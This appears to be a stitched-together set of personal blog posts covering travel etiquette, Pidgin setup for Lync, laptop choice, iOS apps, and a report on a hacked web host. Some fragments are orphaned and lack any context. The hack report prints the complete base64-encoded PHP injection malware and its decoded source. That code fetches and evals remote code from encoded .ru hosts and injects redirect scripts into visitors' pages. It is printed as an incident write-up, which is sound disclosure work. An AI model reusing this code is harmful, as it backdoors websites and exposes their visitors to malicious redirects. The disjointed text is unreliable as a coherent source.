• Learn the basic language - The quickest and easiest way to make connections with people is to approach them with their native tongue. You will be surprised after being a few places how easy it is to pickup “Hello and Goodbye” and “Please and Thank You”

• Read about the local culture, history, and events important in the place you are visiting - This is partly security related and somewhat perspective. When you know about the locals’ current events you can get a first hand perspective. Our news coverage of the world is somewhat lacking. Additionally if there are demonstrations near a place you want to visit, you should probably shift the schedule.

• Learn and program into your phone taxi, emergency, hotel, and embassy numbers and address - Heaven forbid you need them, but you will be glad you have them when you are in a sticky situation. Please have a POC in the states you check with every day or so and register for the Safe Traveler Enrollment Program with the US State Department. In your wallet or purse you should put some of these on written paper. You’d be surprised how fast your battery goes on the phone.

• Never use the words odd, weird, silly, or anything else comparative - Their culture isn’t odd or weird. You are the oddball out here. I was at a very nice social gathering where the cook came out to the floor to see the tourists. His food was delicious, but I could see the dismay when the others started calling it the weirdest thing they have seen on a plate. His goodwill was shattered by their words.

• Do not turn down gifts or meals from locals - Those who know me can tell you I struggle with gifts as I hate them. In other places though you accept that it’s a sign of peace and friendship and you accept. I have eaten many of places and drank many of mixes I hate, but it is worth it for the personal connections you make.

• Do not go to chain restaurants in the new place. Find a local or taxi driver and ask for their favourite local place - It kills me when I see a group of Americans walk into TGIF or McDonalds in a foreign land. Why travel around the globe to eat the same thing you get at home? The best way for recommendations (Yelp and Qype aren’t always prevalent in other places) is to ask taxi drivers or the hotel staff. Ignore the concierge as they usually get kicks for sending you to places. If you do go to the place they recommend make sure you let them know your thoughts on return.

• Do not ask for an English menu. Unless you have an allergy issue simply ask them to bring you their best - English menu’s are usually a few revisions behind the usual and full of meals designed for you, the boring person. Find the person who speaks a common language with you and ask them to bring you their best dish. The cook will be happy for the challenge and you are going to get a great local taste.

• Try the local beer and wine. Do not have an American beer - There I was sitting in Southern Germany in a Biergarten watching an American group order a mixture of Coronas, Bud Light, and a Natty. I did my best not to yell at them. Try the local brews! Sometimes the local beer is crap. But if you don’t try them you will never know.

• Patience and a smile will get you a long way - Things aren’t going to go as smoothly as you hoped. There are going to be issues. Getting angry or upset is not going to help your situation, but a smile and a dose of patience will help you chill out, keep your head clear, and make good decisions.

• When speaking with someone remove your sun glasses and make eye contact. Your words are not understood, but eyes are universal - The eyes are a funny window into someone. I have plenty of examples of being stuck somewhere and between my Dutch, German, English, and eye contact getting to something I needed. This is especially true in hostile situations. Take your glasses off.

• Be flexible and have backup plans. Don’t get stuck - This is more of a security tip than anything. You should always have two paths in and out of the place you are at. Be aware of your surroundings and have your head on a swivel. Also the travel guides are usually pretty bad and you may make plans to visit somewhere to find it closed. Have a Plan B ready.

• Have an unlocked mobile and local phone SIM card - SIM cards are cheap in foreign countries usually and it lets you have access to the internet at reasonable prices. You never realize how much you miss Google Maps till you are wandering looking for something. Americans rarely have unlocked phones (it’s finally changing!) and are perplexed when their CDMA phones do not work in other places. Keep in mind that GSM (Tmobile and AT&T) will have a better chance on working around the world than your CDMA (Sprint and Verizon) phones.

• Pack lightly and leave space for things - I can’t tell you the amount of times I have bought a small suitcase to ferry a cool souvenir back. Now I pack with that in mind.

• Do not compare. This country exists separate your own. Yes it’s different. That’s the point - I don’t like to hear people compare this place to their place. When not in earshot of others feel free to compare your world to theirs, but in public places it is rude.

• Meet people. Meet them everywhere you can - Tourists many times visit the sights, but not the people. My memories of places many times are solidified by the relationships I made vs. the things I saw. Bar tenders and taxi drivers are great first contacts.

• Encrypt your phone and laptop. Shut them down when not in use. Lock your things up in the hotel room, but know it doesn’t mean security - Don’t be a security risk. The safe in your hotel room is very inadequate, but its better than nothing. Plan on your stuff being stolen and treat as such. Encryption, passcodes, and storage are all good ways to protect against.

• Don’t yell or talk loud. It makes you look like an idiot - Oh you don’t speak French? I can assure you that saying in English the same thing only louder and slower is not going to help. Hand signals, translation books/apps, and looking for a young person (more likely to speak English) are better ideas.

• The public transportation can be super convenient, but take a car and drive off the path. Most countries hide their gems away from those unwilling to find them - My favourite times have been road trips across a country. When I talk to my foreign friends and they tell me their view of America is based on New York and L.A. I cringe. Rent a car for a day or two and drive to the countryside. Most of the time its a great road trip and you see things not many others have. Also listen to the local radio stations when traveling. It helps you “hear” the local tongue and culture.

• Please do not wear a fanny pack

• Have fun and don’t be an asshole

I am a big fan on Pidgin (or Adium on the Mac) and have been struggling to get Lync support working on Mac/Linux using this client. Today I was finally able to connect.

To get started:

• sudo apt-get install pidgin pidgin-sipe
• Instead of opening Pidgin using the supplied icon shortcut, you will need to open a terminal and execute the following. If you do this often it would be better to create a script or modify the shortcut: export NSS_SSL_CBC_RANDOM_IV=0 pidgin
  • Without the above you will get Read Error when you try to connect. For whatever reason the current versions of Pidgin and Pidgin-sipe on Debian/Ubuntu do this.
• Add an account using your the exact same settings as Lync on Windows or Mac. The key modifications here are to specify in the Advanced tab the following items:
  • Server and port if you have them. Some servers are configured to use :443 instead of the default. You should check the account settings on the Windows or Mac setup
  • Connection type is most likely SSL/TLS so start there
  • User Agent should be: UCCAPI/4.0.7577.314 OC/4.0.7577.314 (Microsoft Lync 2010)
  • NTLM selected as the authentication mode. You can try to use Kerberos if your overall system is setup for it, but it was not applicable to me.
• Success!

There are some shortcomings to this setup. Audio/Video between a Windows/Mac client to Pidgin does not function. Pidgin to Pidgin is no issue though. For simple text chat you will be fine with the above though.

The two locations here are a Whole Disk Encrypted external FW drive and a Debian file server with an encrypted volume.

My apologies to my blog readers for two things:

1. That my blog has not been updated in N+1 more months than it should have
2. That it has taken a very travel oriented slant as of late

I blame both on starting an international engineering firm, but it has forced me to change my habits (what do you mean I don’t have time to blog on only 4 hours of sleep!?!) and learn to get smarter with my travel.

In my list of essential travel technology I had listed the iPad and 11″ MacBook Air as the perfect travel setup and I hold to this assertion for those of you in extreme travel situations. For me though, the 11″ MacBook Air is getting REALLY old when stuck in a hotel room dialed into a bridge trying to present a spreadsheet (scroll…scroll….scroll…) or realizing your neck is killing you. It’s just not a great machine to be stationary with.

For some reason my eyes are getting worse with age and not improving like a good bottle of Scotch. I have begun to reevaluate the setup and took note of my travel habits. It breaks down to this:

1. Arrive at airport. Go through security and find the lounge.
2. Sit down and work until the last possible minute and then head over to the gate.
3. Get on the plane and use my iPad to hunt-and-peck type quick replies for the landing.
4. Walk to rental car or towncar and ride to hotel.

I began to think back to when I had done serious work on my tray table with the Air I couldn’t have completed with a bluetooth keyboard and the iPad. Tough realization was that other than some Virtual Machine and coding work (which was more related to boredom than need at 35,000 feet) I had entirely lived on my iPad and iPhone on the plane. It is a royal pain in the arse to pull the laptop out and connect the power adapter between the seats up. The iPad battery life is phenomenal for this and it has become my goto for travel.

So the Air saves me one thing and that’s weight running through an airport. The lack of horsepower at home with coding and Virtual Machines (4GB OF MEMORY ONLY?!!?) is  making my pipe dream of a single travel/home machine less realistic.

It sounds like I am dogging the MacBook Air and its truly not the case. I have owned every 11″ model since Steve Jobs released them and if I was backpacking around Asia or something I wouldn’t think twice about buying this new model, but for life now its just not a good fit. As a great blog writer put it “buy the computer that fits your needs today, not tomorrow.”

I punch this blog post out from 35,000 feet along with a volley of emails (hi team! I am flying so I am catching up on notes!) on the Zagg portfolio case. It’s not perfect, but it would be helluva lot better if I knew I was going to my heavy lifting on a screen later that wasn’t the same size.

1. Scanned daily by WSD Security script
2. Multifactor authenticated with a Yubikey for all logins and edits
3. Weekly backup sent to offsite
4. Strong passwords across the board
5. Check for updates weekly and subscribe to security lists

As we say in the security world if you lock the doors, but leave the windows open your security is not that strong. Hence was the case with my hosted site here. I locked the doors, but dreamhost left wide-open the windows. I have been a paying customer since 2007 and will now be looking for a new host. Here is the hack below:

Every php file in the Concrete5 and WordPress installs included a new base64 script. This was to hide the true intent of the script to the naked eye (unless you read base64)

<?php /**/ eval(base64_decode(“aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJF9TRVJWRVJbJ21yX25vJ10pKXsgICRfU0VSVkVSWydtcl9ubyddPTE7ICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICBmdW5jdGlvbiBnZXRfdGRzXzc3NygkdXJsKXskY29udGVudD0iIjskY29udGVudD1AdHJ5Y3VybF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZpbGVfNzc3KCR1cmwpO2lmKCRjb250ZW50IT09ZmFsc2UpcmV0dXJuICRjb250ZW50OyRjb250ZW50PUB0cnlmb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZzb2Nrb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeXNvY2tldF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7cmV0dXJuICcnO30gIGZ1bmN0aW9uIHRyeWN1cmxfNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGNoID0gY3VybF9pbml0ICgpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVJMLCR1cmwpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7Y3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOyRyZXN1bHQgPSBjdXJsX2V4ZWMgKCRjaCk7Y3VybF9jbG9zZSgkY2gpO2lmICgkcmVzdWx0PT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRyZXN1bHQ7fSAgZnVuY3Rpb24gdHJ5ZmlsZV83NzcoJHVybCl7aWYoZnVuY3Rpb25fZXhpc3RzKCdmaWxlJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGluYz1AZmlsZSgkdXJsKTskYnVmPUBpbXBsb2RlKCcnLCRpbmMpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5Zm9wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZm9wZW4nKT09PWZhbHNlKXJldHVybiBmYWxzZTskYnVmPScnOyRmPUBmb3BlbigkdXJsLCdyJyk7aWYgKCRmKXt3aGlsZSghZmVvZigkZikpeyRidWYuPWZyZWFkKCRmLDEwMDAwKTt9ZmNsb3NlKCRmKTt9ZWxzZSByZXR1cm4gZmFsc2U7aWYgKCRidWY9PSIiKXJldHVybiBmYWxzZTtyZXR1cm4gJGJ1Zjt9ICBmdW5jdGlvbiB0cnlmc29ja29wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZnNvY2tvcGVuJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JHA9QHBhcnNlX3VybCgkdXJsKTskaG9zdD0kcFsnaG9zdCddOyR1cmk9JHBbJ3BhdGgnXS4nPycuJHBbJ3F1ZXJ5J107JGY9QGZzb2Nrb3BlbigkaG9zdCw4MCwkZXJybm8sICRlcnJzdHIsMzApO2lmKCEkZilyZXR1cm4gZmFsc2U7JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7ZndyaXRlKCRmLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCFmZW9mKCRmKSl7JGJ1Zi49ZnJlYWQoJGYsMTAwMDApO31mY2xvc2UoJGYpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5c29ja2V0Xzc3NygkdXJsKXtpZihmdW5jdGlvbl9leGlzdHMoJ3NvY2tldF9jcmVhdGUnKT09PWZhbHNlKXJldHVybiBmYWxzZTskcD1AcGFyc2VfdXJsKCR1cmwpOyRob3N0PSRwWydob3N0J107JHVyaT0kcFsncGF0aCddLic/Jy4kcFsncXVlcnknXTskaXAxPUBnZXRob3N0YnluYW1lKCRob3N0KTskaXAyPUBsb25nMmlwKEBpcDJsb25nKCRpcDEpKTsgaWYgKCRpcDEhPSRpcDIpcmV0dXJuIGZhbHNlOyRzb2NrPUBzb2NrZXRfY3JlYXRlKEFGX0lORVQsU09DS19TVFJFQU0sU09MX1RDUCk7aWYgKCFAc29ja2V0X2Nvbm5lY3QoJHNvY2ssJGlwMSw4MCkpe0Bzb2NrZXRfY2xvc2UoJHNvY2spO3JldHVybiBmYWxzZTt9JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7c29ja2V0X3dyaXRlKCRzb2NrLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCR0PXNvY2tldF9yZWFkKCRzb2NrLDEwMDAwKSl7JGJ1Zi49JHQ7fUBzb2NrZXRfY2xvc2UoJHNvY2spO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdXBkYXRlX3Rkc19maWxlXzc3NygkdGRzZmlsZSl7JGFjdHVhbDE9JF9TRVJWRVJbJ3NfYTEnXTskYWN0dWFsMj0kX1NFUlZFUlsnc19hMiddOyR2YWw9Z2V0X3Rkc183NzcoJGFjdHVhbDEpO2lmICgkdmFsPT0iIikkdmFsPWdldF90ZHNfNzc3KCRhY3R1YWwyKTskZj1AZm9wZW4oJHRkc2ZpbGUsInciKTtpZiAoJGYpe0Bmd3JpdGUoJGYsJHZhbCk7QGZjbG9zZSgkZik7fWlmIChzdHJzdHIoJHZhbCwifHx8Q09ERXx8fCIpKXtsaXN0KCR2YWwsJGNvZGUpPWV4cGxvZGUoInx8fENPREV8fHwiLCR2YWwpO2V2YWwoYmFzZTY0X2RlY29kZSgkY29kZSkpO31yZXR1cm4gJHZhbDt9ICBmdW5jdGlvbiBnZXRfYWN0dWFsX3Rkc183NzcoKXskZGVmYXVsdGRvbWFpbj0kX1NFUlZFUlsnc19kMSddOyRkaXI9JF9TRVJWRVJbJ3NfcDEnXTskdGRzZmlsZT0kZGlyLiJsb2cxLnR4dCI7aWYgKEBmaWxlX2V4aXN0cygkdGRzZmlsZSkpeyRtdGltZT1AZmlsZW10aW1lKCR0ZHNmaWxlKTskY3RpbWU9dGltZSgpLSRtdGltZTtpZiAoJGN0aW1lPiRfU0VSVkVSWydzX3QxJ10peyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO31lbHNleyRjb250ZW50PUBmaWxlX2dldF9jb250ZW50cygkdGRzZmlsZSk7fX1lbHNleyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO30kdGRzPUBleHBsb2RlKCJcbiIsJGNvbnRlbnQpOyRjPUBjb3VudCgkdGRzKSswOyR1cmw9JGRlZmF1bHRkb21haW47aWYgKCRjPjEpeyR1cmw9dHJpbSgkdGRzW210X3JhbmQoMCwkYy0yKV0pO31yZXR1cm4gJHVybDt9ICBmdW5jdGlvbiBpc19tYWNfNzc3KCR1YSl7JG1hYz0wO2lmIChzdHJpc3RyKCR1YSwibWFjIil8fHN0cmlzdHIoJHVhLCJzYWZhcmkiKSlpZiAoKCFzdHJpc3RyKCR1YSwid2luZG93cyIpKSYmKCFzdHJpc3RyKCR1YSwiaXBob25lIikpKSRtYWM9MTtyZXR1cm4gJG1hYzt9ICBmdW5jdGlvbiBpc19tc2llXzc3NygkdWEpeyRtc2llPTA7aWYgKHN0cmlzdHIoJHVhLCJNU0lFIDYiKXx8c3RyaXN0cigkdWEsIk1TSUUgNyIpfHxzdHJpc3RyKCR1YSwiTVNJRSA4Iil8fHN0cmlzdHIoJHVhLCJNU0lFIDkiKSkkbXNpZT0xO3JldHVybiAkbXNpZTt9ICAgIGZ1bmN0aW9uIHNldHVwX2dsb2JhbHNfNzc3KCl7JHJ6PSRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uIi8ubG9ncy8iOyRtej0iL3RtcC8iO2lmICghaXNfZGlyKCRyeikpe0Bta2RpcigkcnopO2lmIChpc19kaXIoJHJ6KSl7JG16PSRyejt9ZWxzZXskcno9JF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdLiIvLmxvZ3MvIjtpZiAoIWlzX2RpcigkcnopKXtAbWtkaXIoJHJ6KTtpZiAoaXNfZGlyKCRyeikpeyRtej0kcno7fX1lbHNleyRtej0kcno7fX19ZWxzZXskbXo9JHJ6O30kYm90PTA7JHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTtpZiAoc3RyaXN0cigkdWEsIm1zbmJvdCIpfHxzdHJpc3RyKCR1YSwiWWFob28iKSkkYm90PTE7aWYgKHN0cmlzdHIoJHVhLCJiaW5nYm90Iil8fHN0cmlzdHIoJHVhLCJnb29nbGUiKSkkYm90PTE7JG1zaWU9MDtpZiAoaXNfbXNpZV83NzcoJHVhKSkkbXNpZT0xOyRtYWM9MDtpZiAoaXNfbWFjXzc3NygkdWEpKSRtYWM9MTtpZiAoKCRtc2llPT0wKSYmKCRtYWM9PTApKSRib3Q9MTsgIGdsb2JhbCAkX1NFUlZFUjsgICAgJF9TRVJWRVJbJ3NfcDEnXT0kbXo7ICAkX1NFUlZFUlsnc19iMSddPSRib3Q7ICAkX1NFUlZFUlsnc190MSddPTEyMDA7ICAkX1NFUlZFUlsnc19kMSddPWJhc2U2NF9kZWNvZGUoJ2FIUjBjRG92TDJWdWN6RXlNbnA2ZW1Sa1lYcDZMbU52YlM4PScpOyAkX1NFUlZFUlsnc19hMSddPWJhc2U2NF9kZWNvZGUoJ2FIUjBjRG92TDNkM2R5NWpiMjl3WlhKcWMzVjBaamd1Y25VdloxOXNiMkZrTG5Cb2NBPT0nKS4kZDsgJF9TRVJWRVJbJ3NfYTInXT1iYXNlNjRfZGVjb2RlKCdhSFIwY0RvdkwzZDNkeTV0Y25OdGRHbG9hVzVtYnk1eWRTOW5YMnh2WVdRdWNHaHcnKS4kZDsgJGQ9Jz9kPScudXJsZW5jb2RlKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIiZwPSIudXJsZW5jb2RlKCRfU0VSVkVSWyJQSFBfU0VMRiJdKS4iJmE9Ii51cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKTsgICAkX1NFUlZFUlsnc19zY3JpcHQnXT0ibmwucGhwP3A9ZCI7ICB9ICAgICAgc2V0dXBfZ2xvYmFsc183NzcoKTsgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ21sXzc3NycpKXsgIGZ1bmN0aW9uIGdtbF83NzcoKXsgICAgJHJfc3RyaW5nXzc3Nz0nJzsgIGlmICgkX1NFUlZFUlsnc19iMSddPT0wKSRyX3N0cmluZ183Nzc9JzxzY3JpcHQgc3JjPSInLmdldF9hY3R1YWxfdGRzXzc3NygpLiRfU0VSVkVSWydzX3NjcmlwdCddLiciPjwvc2NyaXB0Pic7ICByZXR1cm4gJHJfc3RyaW5nXzc3NzsgIH0gIH0gICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZWl0JykpeyAgZnVuY3Rpb24gZ3pkZWNvZGVpdCgkZGVjb2RlKXsgICR0PUBvcmQoQHN1YnN0cigkZGVjb2RlLDMsMSkpOyAgJHN0YXJ0PTEwOyAgJHY9MDsgIGlmKCR0JjQpeyAgJHN0cj1AdW5wYWNrKCd2JyxzdWJzdHIoJGRlY29kZSwxMCwyKSk7ICAkc3RyPSRzdHJbMV07ICAkc3RhcnQrPTIrJHN0cjsgIH0gIGlmKCR0JjgpeyAgJHN0YXJ0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMTYpeyAgJHN0YXJ0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMil7ICAkc3RhcnQrPTI7ICB9ICAkcmV0PUBnemluZmxhdGUoQHN1YnN0cigkZGVjb2RlLCRzdGFydCkpOyAgaWYoJHJldD09PUZBTFNFKXsgICRyZXQ9JGRlY29kZTsgIH0gIHJldHVybiAkcmV0OyAgfSAgfSAgZnVuY3Rpb24gbXJvYmgoJGNvbnRlbnQpeyAgQEhlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyAgJGRlY29kZWRfY29udGVudD1nemRlY29kZWl0KCRjb250ZW50KTsgIGlmKHByZWdfbWF0Y2goJy9cPFwvYm9keS9zaScsJGRlY29kZWRfY29udGVudCkpeyAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sXzc3NygpLiJcbiIuJyQxJywkZGVjb2RlZF9jb250ZW50KTsgIH1lbHNleyAgcmV0dXJuICRkZWNvZGVkX2NvbnRlbnQuZ21sXzc3NygpOyAgfSAgfSAgb2Jfc3RhcnQoJ21yb2JoJyk7ICB9ICB9Cg==”));?>

This script translated below shows that the script references ~/.logs for a file that pulls a list of sites that are redirected to for spam and linkbait:

if(function_exists(‘ob_start’)&&!isset($_SERVER['mr_no'])){  $_SERVER['mr_no']=1;    if(!function_exists(‘mrobh’)){    function get_tds_777($url){$content=”";$content=@trycurl_777($url);if($content!==false)return $content;$content=@tryfile_777($url);if($content!==false)return $content;$content=@tryfopen_777($url);if($content!==false)return $content;$content=@tryfsockopen_777($url);if($content!==false)return $content;$content=@trysocket_777($url);if($content!==false)return $content;return ”;}  function trycurl_777($url){if(function_exists(‘curl_init’)===false)return false;$ch = curl_init ();curl_setopt ($ch, CURLOPT_URL,$url);curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ch, CURLOPT_TIMEOUT, 5);curl_setopt ($ch, CURLOPT_HEADER, 0);$result = curl_exec ($ch);curl_close($ch);if ($result==”")return false;return $result;}  function tryfile_777($url){if(function_exists(‘file’)===false)return false;$inc=@file($url);$buf=@implode(”,$inc);if ($buf==”")return false;return $buf;}  function tryfopen_777($url){if(function_exists(‘fopen’)===false)return false;$buf=”;$f=@fopen($url,’r');if ($f){while(!feof($f)){$buf.=fread($f,10000);}fclose($f);}else return false;if ($buf==”")return false;return $buf;}  function tryfsockopen_777($url){if(function_exists(‘fsockopen’)===false)return false;$p=@parse_url($url);$host=$p['host'];$uri=$p['path'].’?’.$p['query'];$f=@fsockopen($host,80,$errno, $errstr,30);if(!$f)return false;$request =”GET $uri HTTP/1.0\n”;$request.=”Host: $host\n\n”;fwrite($f,$request);$buf=”;while(!feof($f)){$buf.=fread($f,10000);}fclose($f);if ($buf==”")return false;list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);return $buf;}  function trysocket_777($url){if(function_exists(‘socket_create’)===false)return false;$p=@parse_url($url);$host=$p['host'];$uri=$p['path'].’?’.$p['query'];$ip1=@gethostbyname($host);$ip2=@long2ip(@ip2long($ip1)); if ($ip1!=$ip2)return false;$sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);if (!@socket_connect($sock,$ip1,80)){@socket_close($sock);return false;}$request =”GET $uri HTTP/1.0\n”;$request.=”Host: $host\n\n”;socket_write($sock,$request);$buf=”;while($t=socket_read($sock,10000)){$buf.=$t;}@socket_close($sock);if ($buf==”")return false;list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);return $buf;}  function update_tds_file_777($tdsfile){$actual1=$_SERVER['s_a1'];$actual2=$_SERVER['s_a2'];$val=get_tds_777($actual1);if ($val==”")$val=get_tds_777($actual2);$f=@fopen($tdsfile,”w”);if ($f){@fwrite($f,$val);@fclose($f);}if (strstr($val,”|||CODE|||”)){list($val,$code)=explode(“|||CODE|||”,$val);eval(base64_decode($code));}return $val;}  function get_actual_tds_777(){$defaultdomain=$_SERVER['s_d1'];$dir=$_SERVER['s_p1'];$tdsfile=$dir.”log1.txt”;if (@file_exists($tdsfile)){$mtime=@filemtime($tdsfile);$ctime=time()-$mtime;if ($ctime>$_SERVER['s_t1']){$content=update_tds_file_777($tdsfile);}else{$content=@file_get_contents($tdsfile);}}else{$content=update_tds_file_777($tdsfile);}$tds=@explode(“\n”,$content);$c=@count($tds)+0;$url=$defaultdomain;if ($c>1){$url=trim($tds[mt_rand(0,$c-2)]);}return $url;}  function is_mac_777($ua){$mac=0;if (stristr($ua,”mac”)||stristr($ua,”safari”))if ((!stristr($ua,”windows”))&&(!stristr($ua,”iphone”)))$mac=1;return $mac;}  function is_msie_777($ua){$msie=0;if (stristr($ua,”MSIE 6″)||stristr($ua,”MSIE 7″)||stristr($ua,”MSIE 8″)||stristr($ua,”MSIE 9″))$msie=1;return $msie;}    function setup_globals_777(){$rz=$_SERVER["DOCUMENT_ROOT"].”/.logs/”;$mz=”/tmp/”;if (!is_dir($rz)){@mkdir($rz);if (is_dir($rz)){$mz=$rz;}else{$rz=$_SERVER["SCRIPT_FILENAME"].”/.logs/”;if (!is_dir($rz)){@mkdir($rz);if (is_dir($rz)){$mz=$rz;}}else{$mz=$rz;}}}else{$mz=$rz;}$bot=0;$ua=$_SERVER['HTTP_USER_AGENT'];if (stristr($ua,”msnbot”)||stristr($ua,”Yahoo”))$bot=1;if (stristr($ua,”bingbot”)||stristr($ua,”google”))$bot=1;$msie=0;if (is_msie_777($ua))$msie=1;$mac=0;if (is_mac_777($ua))$mac=1;if (($msie==0)&&($mac==0))$bot=1;  global $_SERVER;    $_SERVER['s_p1']=$mz;  $_SERVER['s_b1']=$bot;  $_SERVER['s_t1']=1200;  $_SERVER['s_d1']=base64_decode(‘aHR0cDovL2VuczEyMnp6emRkYXp6LmNvbS8=’); $_SERVER['s_a1']=base64_decode(‘aHR0cDovL3d3dy5jb29wZXJqc3V0ZjgucnUvZ19sb2FkLnBocA==’).$d; $_SERVER['s_a2']=base64_decode(‘aHR0cDovL3d3dy5tcnNtdGloaW5mby5ydS9nX2xvYWQucGhw’).$d; $d=’?d=’.urlencode($_SERVER["HTTP_HOST"]).”&p=”.urlencode($_SERVER["PHP_SELF"]).”&a=”.urlencode($_SERVER["HTTP_USER_AGENT"]);   $_SERVER['s_script']=”nl.php?p=d”;  }      setup_globals_777();    if(!function_exists(‘gml_777′)){  function gml_777(){    $r_string_777=”;  if ($_SERVER['s_b1']==0)$r_string_777=’<script src=”‘.get_actual_tds_777().$_SERVER['s_script'].’”></script>’;  return $r_string_777;  }  }      if(!function_exists(‘gzdecodeit’)){  function gzdecodeit($decode){  $t=@ord(@substr($decode,3,1));  $start=10;  $v=0;  if($t&4){  $str=@unpack(‘v’,substr($decode,10,2));  $str=$str[1];  $start+=2+$str;  }  if($t&8){  $start=@strpos($decode,chr(0),$start)+1;  }  if($t&16){  $start=@strpos($decode,chr(0),$start)+1;  }  if($t&2){  $start+=2;  }  $ret=@gzinflate(@substr($decode,$start));  if($ret===FALSE){  $ret=$decode;  }  return $ret;  }  }  function mrobh($content){  @Header(‘Content-Encoding: none’);  $decoded_content=gzdecodeit($content);  if(preg_match(‘/\<\/body/si’,$decoded_content)){  return preg_replace(‘/(\<\/body[^\>]*\>)/si’,gml_777().”\n”.’$1′,$decoded_content);  }else{  return $decoded_content.gml_777();  }  }  ob_start(‘mrobh’);  }  }

Home Screen:

I use a few apps more than others. Those sit on my Home Screen for quick and easy access.

Talkatone: This app makes utilizing my Google Voice number abroad simple and free on wifi. The premium feature to use their compression (speex if you are curious) is well worth the 20 dollars. For an international traveler or someone watching their minutes usage it is a godsend.

BBC News: For quick easy access to the top news the BBC is hard to beat. In addition the streaming option built-in to the app lets me shower in whatever hotel room to the sound of English Speaking news.

Reeder: I use this app on my iPhone, iPad, and Macbook Air. It is my primary source for catching up on the 100′s of RSS feeds I read daily. Our business advantage at Spec Ops is the constant monitoring of whats new on the market. Reeder helps me do that by quickly downloading and caching my feeds for consumption in a taxi, metro, or airplane.

OmniFocus: With multiple customers, countries, and teams OmniFocus allows me to keep everything on target. The simple reminders app bundled with iOS is too limiting for these type of exercises. I wish the app was cheaper, but the sync for all my devices makes it worth it for the hardcore task list utilizer.

GV Connect: The Google Voice app for the iPhone stinks. GV Connect provides more options and more control of the experience. The only downfall is lack of push notifications. Sure you can make it happen, but its a tech nightmare. All that said it offers a consistent experience on the iPad and iPhone and integrates with Talkatone for true wifi integration.

Productivity:

VueScan: Sure AirPrint is nice, but most of the time I need to scan rather than print. VueScan does auto-discovery of many scanners via Wifi and performs well for both document feeders and flatbed. Works great for capturing that recent contract signing or bill.

DocsToGo: It is far from perfect for Office documents, but its the best I have found. It is a horrible application for production of things, but it is the only viewer I have found to correctly decipher powerpoint slides or excel spreadsheets. The Google Docs integration is great for using our central document store in the company.

Letter Opener: I hate you with every fiber of my body Outlook. Without a complex registry hack the default position of this stupid program is to include the dreaded winmail.dat file. Letter Opener takes care of those few times a week I receive these attachements from folks.

Skype: I use it for video and voice chatting with family and friends. We also use it internally to the company for PBX-like functions. The iOS version is actually a nice client compared to the desktop versions.

